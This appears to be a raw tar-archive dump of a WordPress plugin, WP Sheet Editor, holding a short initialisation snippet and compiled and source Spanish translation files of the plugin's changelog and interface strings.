Orderinc/freemius-init.php000064400000003134147600365160010617 0ustar00add_filter( 'show_deactivation_feedback_form', '__return_false' ); // Signal that SDK was initiated. do_action( 'vgse_freemius_loaded' );lang/vg_sheet_editor_posts-es_ES.mo000064400000026434147600365160013441 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ewReNv;1Jm~R7NL&s et _dYa m ^)!!"W#/$$W%vS&W&f"''(W)w)r*q*P+$T+ y++*,Y:,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_PE.mo000064400000026437147600365160013441 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_PE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_GT.po000064400000032041147600365160013436 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_GT\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_PE.po000064400000032041147600365160013430 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_PE\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

